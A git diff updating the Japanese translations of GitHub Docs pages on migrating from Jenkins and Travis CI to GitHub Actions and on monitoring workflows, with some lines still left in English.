+| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                                                                                                                                                                                                                                                               | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)                                                                                                                                                                                                                                                                                              |
+| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                    | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes)                                                                                    |
+| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                 | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)                                                                                                                                                                                                                                                                                                                                                                                                        |
+| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                     | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
+| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                              | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| [Jenkinsのcron構文](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)                                                                                                                                                                                                                                                              | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule)                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| [`ステージ`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                                                                                                                                                                                                                                                                            | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname)                                                                                                                                                                                                                                                                                                       |
+| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) | {% endif %}
+| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                                                                                                                                                                                                                                                                           | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs)                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                                                                                                                                                                                                                                                             | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif)                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
 
-## Using sequential stages
+## シーケンシャルなステージの利用
 
-### Parallel job processing
+### 並列なジョブの処理
 
-Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel.
+Jenkinsは`ステージ`と`ステップ`を並行して実行できますが、{% data variables.product.prodname_actions %}が並行に処理できるのは現時点ではジョブだけです。
 
-| Jenkins Parallel | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkinsの並列処理                                                        | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
 
-### Build matrix
+### ビルドマトリックス
 
-Both {% data variables.product.prodname_actions %} and Jenkins let you use a build matrix to define various system combinations.
+{% data variables.product.prodname_actions %}とJenkinsはどちらも、ビルドマトリックスを使って様々なシステムの組み合わせを定義できます。
 
-| Jenkins       | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkins                                                                  | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)       | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`context`](/actions/reference/context-and-expression-syntax-for-github-actions) |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) |
-| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |  |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context)                                                                                            |
+| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |                                                                                                                                                                                                 |
 
-### Using steps to execute tasks
+### ステップを使ったタスクの実行
 
-Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`.
+Jenkinsは`ステップ`をまとめて`ステージ`にグループ化します。 それらの各ステップは、スクリプト、関数、コマンドなどです。 同様に、{% data variables.product.prodname_actions %}は`ジョブ`を使って特定の`ステップ`のグループを実行します。
 
-| Jenkins steps | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkinsのステップ                                                    | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
 | [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs.<job_id>.steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) |
 
-## Examples of common tasks
+## 一般的なタスクの例
 
-### Scheduling a pipeline to run with `cron`
+### `cron`で実行するようパイプラインをスケジュール
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Jenkinsのパイプライン
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
@@ -138,15 +139,15 @@ on:
 </tr>
 </table>
 
-### Configuring environment variables in a pipeline
+### パイプライン中での環境変数の設定
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Jenkinsのパイプライン
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
@@ -175,15 +176,15 @@ jobs:
 </tr>
 </table>
 
-### Building from upstream projects
+### 上流のプロジェクトからのビルド
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Jenkinsのパイプライン
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
@@ -216,15 +217,15 @@ jobs:
 </tr>
 </table>
 
-### Building with multiple operating systems
+### 複数のオペレーティングシステムでのビルド
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Jenkinsのパイプライン
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
index 2cf18968d5..aeb43c72b2 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Travis CI to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.'
+title: Travis CI から GitHub Actions への移行
+intro: '{% data variables.product.prodname_actions %} と Travis CI は複数の類似点を共有しているため、{% data variables.product.prodname_actions %} への移行は比較的簡単です。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
 versions:
@@ -20,51 +20,50 @@ shortTitle: Migrate from Travis CI
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks.
+このガイドは、Travis CI から {% data variables.product.prodname_actions %} に移行するときに役立ちます。 概念と構文を比較して類似点を説明し、一般的なタスクに対するさまざまなアプローチを示します。
 
-## Before you start
+## はじめる前に
 
-Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works:
+{% data variables.product.prodname_actions %} への移行を開始する前に、その仕組みを理解しておくと便利です。
 
-- For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
-- To learn the essential {% data variables.product.prodname_actions %} concepts, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
+- {% data variables.product.prodname_actions %} ジョブを示す簡単な例については、「[{% data variables.product.prodname_actions %} のクイックスタート](/actions/quickstart)」を参照してください。
+- 本質的な {% data variables.product.prodname_actions %} の概念については、「[GitHub Actions の概要](/actions/learn-github-actions/introduction-to-github-actions)」を参照してください。
 
-## Comparing job execution
+## ジョブ実行の比較
 
-To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these.
+CI タスクがいつ実行されるかを制御できるように、{% data variables.product.prodname_actions %} _ワークフロー_はデフォルトで並行して実行される_ジョブ_を使用します。 各ジョブには、定義した順序で実行される_ステップ_が含まれています。 ジョブのセットアップおよびクリーンアップアクションを実行する必要がある場合は、各ジョブでステップを定義してこれらを実行できます。
 
-## Key similarities
+## 主な類似点
 
-{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process.
+{% data variables.product.prodname_actions %} と Travis CI は特定の類似点を共有しており、これらを事前に理解しておくと、移行プロセスを円滑に進めることができます。
 
-### Using YAML syntax
+### YAML 構文の使用
 
-Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see ["Creating a workflow file](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."
+Travis CI と {% data variables.product.prodname_actions %} はどちらも YAML を使用してジョブとワークフローを作成し、これらのファイルはコードのリポジトリに保存されます。 {% data variables.product.prodname_actions %} が YAML を使用する方法の詳細については、「[ワークフローファイルを作成する](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)」を参照してください。
 
-### Custom environment variables
+### カスタム環境変数
 
-Travis CI lets you set environment variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define environment variables for a step, job, or workflow. For more information, see ["Environment variables](/actions/reference/environment-variables)."
+Travis CI では環境変数を設定し、ステージ間で共有できます。 同様に、{% data variables.product.prodname_actions %} を使用すると、ステップ、ジョブ、またはワークフローの環境変数を定義できます。 詳しい情報については、「[環境変数](/actions/reference/environment-variables)」を参照してください。
 
-### Default environment variables
+### デフォルトの環境変数
 
-Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in "[Default environment variables](/actions/reference/environment-variables#default-environment-variables)."
+Travis CI と {% data variables.product.prodname_actions %} の両方に、YAML ファイルで使用できるデフォルトの環境変数が含まれています。 {% data variables.product.prodname_actions %} の場合、これらは「[デフォルトの環境変数](/actions/reference/environment-variables#default-environment-variables)」にリストされています。
 
-### Parallel job processing
+### 並列なジョブの処理
 
-Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see "[Creating dependent jobs](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)."
+Travis CI は、`stages` を使用してジョブを並行して実行できます。 同様に、{% data variables.product.prodname_actions %} は `jobs` を並行して実行します。 詳細については、「[依存ジョブを作成する](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)」を参照してください。
 
-### Status badges
+### ステータスバッジ
 
-Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing.
-For more information, see ["Adding a workflow status badge to your repository](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+Travis CI と {% data variables.product.prodname_actions %} はどちらもステータスバッジをサポートしており、ビルドが成功したか失敗したかを示すことができます。 詳しい情報については、「[リポジトリにワークフローステータスバッジを追加する](/actions/managing-workflow-runs/adding-a-workflow-status-badge)」を参照してください。
 
-### Using a build matrix
+### ビルドマトリックスを使用する
 
-Travis CI and {% data variables.product.prodname_actions %} both support a build matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see "[Using a build matrix](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)."
+Travis CI と {% data variables.product.prodname_actions %} はどちらもビルドマトリックスをサポートしているため、オペレーティングシステムとソフトウェアパッケージの組み合わせを使用してテストを実行できます。 詳しい情報については、「[ビルドマトリックスを使用する](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)」を参照してください。
 
-Below is an example comparing the syntax for each system:
+以下は、各システムの構文を比較した例です。
 
 <table>
 <tr>
@@ -100,11 +99,11 @@ jobs:
 </tr>
 </table>
 
-### Targeting specific branches
+### 特定のブランチをターゲットにする
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)."
+Travis CI と {% data variables.product.prodname_actions %} はどちらも、CI を特定のブランチにターゲット設定できます。 詳しい情報については、「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)」を参照してください。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -140,11 +139,11 @@ on:
 </tr>
 </table>
 
-### Checking out submodules
+### サブモジュールをチェックアウトする
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone.
+Travis CI と {% data variables.product.prodname_actions %} はどちらも、サブモジュールをリポジトリクローンに含めるかどうかの制御ができます。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -176,50 +175,50 @@ git:
 </tr>
 </table>
 
-### Using environment variables in a matrix
+### マトリックスで環境変数を使用する
 
-Travis CI and {% data variables.product.prodname_actions %} can both add custom environment variables to a test matrix, which allows you to refer to the variable in a later step.
+Travis CI と {% data variables.product.prodname_actions %} はどちらも、カスタム環境変数をテストマトリックスに追加できます。これにより、後のステップで変数を参照できます。
 
-In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.github-actions.matrix-variable-example %}
+{% data variables.product.prodname_actions %} では、`include` キーを使用して、カスタム環境変数をマトリックスに追加できます。 {% data reusables.github-actions.matrix-variable-example %}
 
-## Key features in {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} の主な機能
 
-When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}:
+Travis CI から移行する場合は、{% data variables.product.prodname_actions %} の次の主要機能を考慮してください。
 
-### Storing secrets
+### シークレットを保存する
 
-{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Environment protection rules can require manual approval for a workflow to access environment secrets. {% endif %}For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+{% data variables.product.prodname_actions %} を使用すると、シークレットを保存して、ジョブで参照できます。 {% data variables.product.prodname_actions %} Organization は、Organization のシークレットにアクセスできるリポジトリを制限できます。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}環境保護ルールでは、ワークフローが環境シークレットにアクセスするための手動承認が必要になる場合があります。 {% endif %}詳しい情報については、「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
-### Sharing files between jobs and workflows
+### ジョブとワークフロー間でファイルを共有する
 
-{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see "[Sharing data between jobs](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)."
+{% data variables.product.prodname_actions %} には、成果物のストレージの統合サポートが含まれており、ワークフロー内のジョブ間でファイルを共有できます。 結果のファイルを保存して、他のワークフローと共有することもできます。 詳しい情報については、「[ジョブ間でデータを共有する](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)」を参照してください。
 
-### Hosting your own runners
+### 自分のランナーをホストする
 
-If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see ["Hosting your own runners](/actions/hosting-your-own-runners)."
+ジョブに特定のハードウェアまたはソフトウェアが必要な場合、{% data variables.product.prodname_actions %} を使用すると、自分のランナーをホストして、処理のためにジョブをそれらに送信できます。 {% data variables.product.prodname_actions %} では、ポリシーを使用してこれらのランナーへのアクセス方法を制御し、Organization またはリポジトリレベルでアクセスを許可することもできます。 詳しい情報については、「[自分のランナーをホストする](/actions/hosting-your-own-runners)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-### Concurrent jobs and execution time
+### 同時ジョブと実行時間
 
-The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration)."
+{% data variables.product.prodname_actions %} の同時ジョブとワークフローの実行時間は、{% data variables.product.company_short %} プランによって異なります。 詳しい情報については、「[使用制限、支払い、および管理](/actions/reference/usage-limits-billing-and-administration)」を参照してください。
 
 {% endif %}
 
-### Using different languages in {% data variables.product.prodname_actions %}
+### {% data variables.product.prodname_actions %} で様々な言語を使用する
 
-When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see the specific guide:
+{% data variables.product.prodname_actions %} でさまざまな言語を使用する場合、ジョブにステップを作成して言語の依存関係を設定できます。 特定の言語での作業の詳細については、それぞれのガイドを参照してください。
   - [Building and testing Node.js or Python](/actions/guides/building-and-testing-nodejs-or-python)
-  - [Building and testing PowerShell](/actions/guides/building-and-testing-powershell)
-  - [Building and testing Java with Maven](/actions/guides/building-and-testing-java-with-maven)
-  - [Building and testing Java with Gradle](/actions/guides/building-and-testing-java-with-gradle)
-  - [Building and testing Java with Ant](/actions/guides/building-and-testing-java-with-ant)
+  - [PowerShell のビルドとテスト](/actions/guides/building-and-testing-powershell)
+  - [MavenでのJavaのビルドとテスト](/actions/guides/building-and-testing-java-with-maven)
+  - [GradleでのJavaのビルドとテスト](/actions/guides/building-and-testing-java-with-gradle)
+  - [AntでのJavaのビルドとテスト](/actions/guides/building-and-testing-java-with-ant)
 
-## Executing scripts
+## スクリプトを実行する
 
-{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+{% data variables.product.prodname_actions %} は、`run` ステップを使用してスクリプトまたはシェルコマンドを実行できます。 特定のシェルを使用するには、スクリプトへのパスを指定するときに `shell` タイプを指定できます。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)」を参照してください。
 
-For example:
+例:
 
 ```yaml
 steps:
@@ -228,23 +227,23 @@ steps:
     shell: bash
 ```
 
-## Error handling in {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %} でのエラー処理
 
-When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of.
+{% data variables.product.prodname_actions %} に移行する場合、エラー処理にはさまざまな方法があり、注意が必要です。
 
-### Script error handling
+### スクリプトエラーの処理
 
-{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} は、いずれかのステップでエラーコードが返された場合、すぐにジョブを停止します。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)」を参照してください。
 
-### Job error handling
+### ジョブエラーの処理
 
-{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)."  You can also use [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails.
+{% data variables.product.prodname_actions %} は、`if` 条件を使用して、特定の状況でジョブまたはステップを実行します。 たとえば、別のステップで `failure()` が発生したときに、そのステップを実行できます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)」を参照してください。  また、[`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) を使用して、ジョブが失敗したときにワークフローの実行が停止しないようにすることもできます。
 
-## Migrating syntax for conditionals and expressions
+## 条件文と式の構文を移行する
 
-To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+条件式でジョブを実行するために、Travis CI と {% data variables.product.prodname_actions %} は同様の `if` 条件構文を共有します。 {% data variables.product.prodname_actions %} を使用すると、`if` 条件を使用して、条件が満たされない限りジョブまたはステップが実行されないようにすることができます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-This example demonstrates how an `if` conditional can control whether a step is executed:
+次の例は、`if` 条件がステップを実行するかどうかを制御する方法を示しています。
 
 ```yaml
 jobs:
@@ -255,11 +254,11 @@ jobs:
         if: env.str == 'ABC' && env.num == 123
 ```
 
-## Migrating phases to steps
+## フェーズからステップに移行する
 
-Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Building actions](/actions/building-actions)."
+Travis CI が_フェーズ_を使用して_ステップ_を実行する場合、{% data variables.product.prodname_actions %} には_アクション_を実行する_ステップ_があります。 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions)でビルド済みのアクションを見つけることも、あるいは独自のアクションを作成することもできます。 詳細については、「[アクションの構築について](/actions/building-actions)」を参照してください。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -301,9 +300,9 @@ jobs:
 </tr>
 </table>
 
-## Caching dependencies
+## 依存関係のキャッシング
 
-Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse. This example demonstrates the cache syntax for each system.
+Travis CIと{% data variables.product.prodname_actions %}では、後で利用できるよう依存関係を手動でキャッシュできます。 以下の例は、それぞれのシステムでのキャッシュの構文を示します。
 
 <table>
 <tr>
@@ -338,15 +337,15 @@ cache: npm
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} キャッシュは、{% data variables.product.prodname_dotcom_the_website %} でホストされているリポジトリにのみ適用できます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-## Examples of common tasks
+## 一般的なタスクの例
 
-This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks.
+このセクションは、{% data variables.product.prodname_actions %}とTravis CIでの一般的なタスクの実行方法を比較します。
 
-### Configuring environment variables
+### 環境変数の設定
 
-You can create custom environment variables in a {% data variables.product.prodname_actions %} job. For example:
+{% data variables.product.prodname_actions %}のジョブではカスタムの環境変数を作成できます。 例:
 
 <table>
 <tr>
@@ -354,7 +353,7 @@ You can create custom environment variables in a {% data variables.product.prodn
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
@@ -379,7 +378,7 @@ jobs:
 </tr>
 </table>
 
-### Building with Node.js
+### Node.jsでのビルド
 
 <table>
 <tr>
@@ -387,7 +386,7 @@ jobs:
 Travis CI
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+{% data variables.product.prodname_actions %}のワークフロー
 </th>
 </tr>
 <tr>
@@ -425,6 +424,6 @@ jobs:
 </tr>
 </table>
 
-## Next steps
+## 次のステップ
 
-To continue learning about the main features of  {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+{% data variables.product.prodname_actions %}の主な機能について学び続けるには、「[{% data variables.product.prodname_actions %}を学ぶ](/actions/learn-github-actions)」を参照してください。
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
index 116c5b3072..a54a9544b9 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md
@@ -17,56 +17,56 @@ miniTocMaxHeadingLevel: 3
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-### Using the visualization graph
+### 視覚化グラフの利用
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example:
+すべてのワークフローの実行は、実行の進行を示すリアルタイムのグラフを生成します。 このグラフを使って、ワークフローをモニタリング及びデバッグできます。 例:
 
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+   ![ワークフローグラフ](/assets/images/help/images/workflow-graph.png)
 
-For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." 
+For more information, see "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
 
 {% endif %}
 
-### Adding a workflow status badge
+### ワークフローステータスバッジを追加する
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
 For more information, see "[Adding a workflow status badge](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge)."
 
 {% ifversion fpt or ghec %}
-### Viewing job execution time
+### ジョブの実行時間を表示する
 
-To identify how long a job took to run, you can view its execution time. For example:
+To identify how long a job took to run, you can view its execution time. 例:
 
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+   ![実行および支払請求可能な時間の詳細リンク](/assets/images/help/repository/view-run-billable-time.png)
 
-For more information, see "[Viewing job execution time](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)."
+詳しい情報については、「[ジョブの実行時間を表示する](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time)」を参照してください。
 {% endif %}
 
-### Viewing workflow run history
+### ワークフロー実行の履歴を表示する
 
-You can view the status of each job and step in a workflow. For example:
+You can view the status of each job and step in a workflow. 例:
 
-   ![Name of workflow run](/assets/images/help/repository/run-name.png)
+   ![ワークフローの実行の名前](/assets/images/help/repository/run-name.png)
 
-For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)」を参照してください。
 
 ## Troubleshooting your workflows
 
-### Using workflow run logs
+### ワークフロー実行ログを使用する
 
-Each workflow run generates activity logs that you can view, search, and download. For example:
+Each workflow run generates activity logs that you can view, search, and download. 例:
 
